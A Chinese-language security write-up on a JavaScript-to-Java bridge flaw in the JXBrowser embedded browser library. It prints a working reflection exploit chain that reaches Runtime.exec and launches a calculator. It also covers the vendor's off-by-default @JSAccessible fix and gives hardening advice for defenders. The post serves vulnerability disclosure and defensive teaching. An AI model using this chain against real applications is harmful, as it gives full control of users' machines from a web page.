ARTICLE · 1055545
我只是照着官方文档写代码,然后洞就来了
【文章说明】
目的:本文内容仅为网络安全技术研究与教育目的而创作。
红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。
免责:内容仅供参考,作者不对其准确性、完整性作任何担保。
阅读即代表您同意以上条款。
📌 这篇讲什么:有些桌面软件是 Java 写的,里面嵌了一个浏览器来显示网页——为了让网页能调用本地功能(比如读文件、打印),开发者会在网页和 Java 程序之间开一扇"窗",术语叫JavaScript 到 Java 的桥接。这篇文章记录的是:我只用一个网页,顺着这扇窗爬进去,最终在这台电脑上弹出了计算器(也就是拿到了完整的控制权)。全过程不需要任何高深技巧,我会把每一次翻车和最后那一步灵光一现都写出来,小白也能看懂。文末有一节专门写防守方该怎么改,以及一个特别提醒:厂商发的补丁,默认是关着的。

一、起因:一个正在做的扫描器原型 🧪
那阵子我在用 JXBrowser 做一个实验性扫描技术的原型。
JXBrowser 是个挺有意思的库:它让你在 Java 程序里嵌一个浏览器(类似早年的 PhantomJS),这样你的 Java 应用就能渲染网页、跑 JS,还能和网页互相说话。
我在写"网页和 Java 互相说话"的那部分——也就是桥接——的时候,脑子里冒出一个问题:
我只打算把一个类交给网页用。那网页有没有可能,绕过我给的那个类,去调用别的类?
如果答案是肯定的,这就是一条从网页到**远程代码执行(RCE)**的完整通路。
二、先给小白补一块底 🧱
后面会出现不少 Java 和反射的术语,先花一分钟补齐,不然后面会飘。
什么是"桥接"?想象你的 Java 程序是一间办公室,网页是外面的访客。正常情况下访客只能在会客室待着(浏览器沙箱)。但有些功能——读取本地配置、调用打印机、操作文件——必须让访客能指挥办公室里的人干活。于是开发者就在墙上开了一扇窗,递过去一个对象:"这个东西给你用。" 这就是桥接。
什么是"反射"?反射是 Java 的一种能力:程序可以在运行时翻看自己的说明书——某个类有哪些方法、哪些字段,甚至能凭一个类的名字把它造出来、能调用它的方法、能撬开它的私有属性。它本来是给框架用的(写框架的人不知道将来会处理什么类),但在攻击者手里,它等于一把万能钥匙。
为什么弹出计算器就等于"拿下电脑"?安全圈有个传统:证明你能执行任意命令时,就弹一个计算器。因为"让系统打开计算器"和"让系统删库、装木马、传文件"在技术上完全等价——区别只是你敲的命令不同。能弹计算器 = 能做任何事。
三、桥接长什么样 🔧
先看看这扇窗是怎么开的。JXBrowser 官网的示例代码大概是这样:
browser.addScriptContextListener(new ScriptContextAdapter() {@Overridepublic void onScriptContextCreated(ScriptContextEvent event) {Browser browser = event.getBrowser();JSValue window = browser.executeJavaScriptAndReturnValue(”window”);window.asObject().setProperty(”someObj”, new someJavaClass());}});
翻译成人话:
拿到浏览器里的 window对象;把它转成 Java 能操作的 JSValue;在 window上挂一个叫someObj的属性,值是我自己写的那个 Java 对象。
一行代码,桥接通了。官方文档还很贴心地补了一句:只能使用公共类(public class)。
听起来挺安全,对吧?
网页这边要用它,得先等这个对象挂上来,所以 JS 是这么写的:
setTimeout(function f(){if(window.someObj && typeof window.someObj.javaFunction === 'function') {window.someObj.javaFunction(”Called Java function from JavaScript”);} else {setTimeout(f,0);}},0);
一个不断自我调用的时间器,一直等到 someObj 出现为止。
四、第一次敲门:Runtime,吃了闭门羹 🚪
我的第一反应很直接——Java 里要执行系统命令,最经典的就是 Runtime.getRuntime().exec(...)。试试看:
window.someObj.getClass().forName('java.lang.Runtime').getRuntime();报错:
Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.说得挺明白:在它眼里,getRuntime 这个东西不存在。
(原因不难猜:getRuntime 是个静态方法,而桥接只肯暴露实例方法。第一个思路就此作废——但注意,forName 这一步是成功的,我拿到了 java.lang.Runtime 这个类对象。这条信息后面很关键。)
五、退一步:先证明"我能翻说明书" 📖
既然直接调用不行,那就先做点简单的,确认反射这条路通不通。
window.someObj.getClass().getSuperclass().getName();成了。
再进一步,把方法全枚举一遍:
methods = window.someObj.getClass().getSuperclass().getMethods();for(i=0;i<methods.length();i++) {console.log(methods[i].getName());}
输出:
wait wait wait equals toStringhashCode getClass notify notifyAll
满了。这些都是 Object 类的方法,说明反射确实能用,我能翻它的说明书,也能调用上面的方法。
这就好比:我没能直接进金库,但我拿到了一把能开很多门的钥匙。剩下的事,只是找到对的门。
六、卡住了:我需要一个"Java 数组" 🧱
下一个目标很自然——ProcessBuilder,Java 里另一个执行系统命令的标准姿势。
window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance(”open”,”-a Calculator”); // 失败window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance([”open”,”-a Calculator”]); // 也失败
两次都失败。原因很清楚:构造函数要的是 Java 数组,而我给的是 JS 数组。桥接不会帮我做这个转换。
为了证明这不是死路,我先造了个不需要参数的对象:
window.someObj.getClass().forName(”java.net.Socket”).newInstance();成了!我造出了一个 java.net.Socket 对象。虽然一调用 connect 就因为参数类型不对而失败(连不上东西),但至少证明——我能凭类名造出任意对象。
接着试 java.io.File,同样卡在参数类型上。
到这会儿,问题的本质已经浮出水面了,只是一开始我没看那么清:
凡是"不需要参数"的调用,我都能成功;凡是需要参数的,我都失败。因为我造不出 Java 认识的参数类型——JS 的字符串、数字、数组,过桥之后全变了味。
卡了挺久。我得承认,这时候我一个人是想不出来的。
七、搬救兵:房间里总有比你聪明的人 🆘
我所在的公司,这里有个特别好的地方:你永远不会是房间里最聪明的人。
我把问题抛给了 Mike 和 Patrick:我需要一个 Java 数组,可是在这个桥接里怎么造?
三个人围着这个坑,连着翻了三次车——但这三次翻车,是全文最好看的部分,因为它们把桥接的脾气一点点摸清楚了。
翻车一:ArrayList 的 toArray
Mike 觉得可以用 ArrayList,它有现成的 toArray() 能把列表转成数组。
list = window.someObj.getClass().forName(”java.util.ArrayList”).newInstance();list.add(”open”);list.add(”-a”);list.add(”Calculator”);a = list.toArray();window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance(a);
抛异常:no such method,并且明说我们传进去的是个 JSObject。
意思很清楚——toArray() 确实转出了 Java 数组,但它过桥的时候又被桥接转回了 JS 对象。过桥即变形,这是桥接的"特性"。
翻车二:java.lang.reflect.Array
那就直接用反射造数组总行吧:
window.someObj.getClass().forName(”java.lang.reflect.Array”).newInstance(...)这回的报错更气人:我们传的是 double,它要的是 int。
行,那我先造一个 int。
翻车三:Integer.MAX_VALUE
用 java.lang.Integer 的 MAX_VALUE 字段来拿一个 int:
window.someObj.getClass().forName(”java.lang.Integer”).getDeclaredField(”MAX_VALUE”).getInt(null); 空指针异常。参数不对。
然后就是那句让我记住一辈子的话——Patrick 说:可这是 JavaScript 啊,我们干嘛非得传 null?随便传个 123 试试?
我们觉得肯定不行。然后它打印出了:
2147483647成功了。桥接对传参的宽容度,比我们想象的高得多——它压根不在乎你传的是不是 null,它只管把值丢过去。
(顺带一提,Patrick 当时的另一个想法是拿这个 MAX_INT 去开一个巨大的数组——幸好没这么干,那玩意儿开出来机器先没了。)
不过用这个 int 去调 Array 的构造函数,还是失败了。但这次失败里藏着成功的种子:getDeclaredField能用,而它能拿到私有字段。
八、最后一步:撬开那把锁 🔓
既然 getDeclaredField 能拿到私有字段,那我们回头看看 Runtime。
Runtime 类里面,维护当前运行时对象的那个字段叫 currentRuntime,它是private的——正常途径你碰不到它。
但我们有 setAccessible(true),这玩意儿的作用用大白话说就是:把门上那把锁撬了。
Mike 建议的思路,三步走:
field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField(”currentRuntime”);field.setAccessible(true);runtime = field.get(123);runtime.exec(”open -a Calculator”);
第一步:拿到那个私有字段的"门牌"( getDeclaredField);第二步: setAccessible(true),把 private 的限制撬开;第三步: field.get(123)—— 这里照抄上一次的经验,不传 null,随便塞个 123,拿到 runtime 对象;最后: runtime.exec("open -a Calculator")。
计算器弹出来了。
我们三个人盯着那个窗口,笑了半天。
从"能不能调用别的类"这个念头开始,到弹出计算器,中间隔着一整个类型系统的鸿沟。而填平它的,是一句"可这是 JavaScript 啊"。
九、这有多严重 🎯
结论很硬:
任何被"使用了 JavaScript-Java 桥接"的 JXBrowser 渲染的网页,都能完全控制这台客户端。
不需要用户点什么,不需要下载文件,访问一个网页就够了。能弹计算器,就能读文件、装程序、横向移动——全套标准流程。
而开发这个功能的程序员,做的"错事"仅仅是:按官方文档的示例代码,写了一个桥接。
十、厂商的补丁,和那个"但是" ⚠️
我们私下把这个洞报告给了 TeamDev(JXBrowser 的厂商)。他们的响应很到位,加了一个@JSAccessible注解——开发者可以用它标注"哪些方法允许网页调用",形成一个白名单。
设计上没问题。但是,请注意下面这句话,这是整篇文章里对防守方最重要的一句:
如果应用程序在任何地方都没有使用 @JSAccessible 注解,那么这个白名单不会被强制执行,上面这套攻击依然完全有效。
翻译一下:补丁装上了,但默认是关着的。
这是我在实战里见过太多次的模式——为了兼容性,安全加固做成"可选开启",结果没人开启。所以当你评估一个使用了 JXBrowser 的目标时,别看到"官方已修复"就收工,去看它的代码里到底有没有写@JSAccessible。没有?那就是没修。
十一、防守方该做什么 🛡️
如果你在做类似的东西(JXBrowser、JavaFX WebView、或者其他任何语言的类似桥接),这几条请抄走:
桥接暴露的对象,必须是专门为这个目的写的瘦封装类。 别把业务对象、工具对象、或者任何"顺手就能拿到"的对象直接递出去。 强制白名单,而不是可选白名单。 默认拒绝一切,显式允许才放行。凡是"默认全放行、加了注解才收窄"的设计,等于没做。 别以为 private 能保护你。 setAccessible就是专门破这个的。真正需要保护的边界,不能靠语言访问修饰符。限制被渲染内容的来源。 如果嵌的浏览器只需要显示自家页面,就别让它加载外部 URL。 及时升级,并验证加固真的生效了。 升级完跑一遍 PoC,确认打不通,才算完事。
十二、这次能学到什么 🧠
最后留五条,比 payload 值钱:
1. 桥接类库的边界,通常只防君子。"只能使用公共类"这种文档描述,说的是它的设计意图,不是它的安全边界。设计意图和安全边界之间的那块空地,就是我们挖洞的地方。
2. 反射是桥接的天敌。只要对面语言的反射能力被暴露了一点点(这里只是 getClass() 一个口子),整座城池都在射程内。
3. 类型系统的缝隙,往往就是突破口。JS 的数组不是 Java 的数组,JS 的 int 是 double——这些"不匹配"既是障碍,也是武器。那句"可这是 JavaScript 啊",本质上是意识到:我们不该按对面语言的规矩玩游戏。
4. 补丁要看默认行为。@JSAccessible 的故事再讲一遍:默认不强制的加固,等于没有加固。写报告、做评估,都要看默认值。
5. 卡住了就去问人。我一个人卡在数组上很久,Mike 和 Patrick 来了之后,答案在一个下午里冒出来了。安全这行有个特别好的传统:没人会因为"我不会"被嘲笑,只会因为"我不问"而错过。
写到这里,照例求个三连。
从第一次吃到闭门羹,到三个人围着屏幕看那个计算器弹出来,整个过程我记了好几页笔记。如果这篇让你下次看到"Java 程序里嵌了个浏览器"的时候,会下意识去问一句"桥接暴露了什么"——那这几个小时就没白花。这一个提问,可能就是别人漏掉、而你捡到的那个洞。
觉得有用,帮我点个**「赞」和「在看」**,让更多挖洞的朋友刷到; 顺手**「转发」**给群里那几个写 Java 桌面应用的兄弟,第十一节那五条直接抄给他们; 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里; 也欢迎**「推荐」**给身边做安全、做开发的朋友,一起把那扇"窗",装上报得过来的护栏。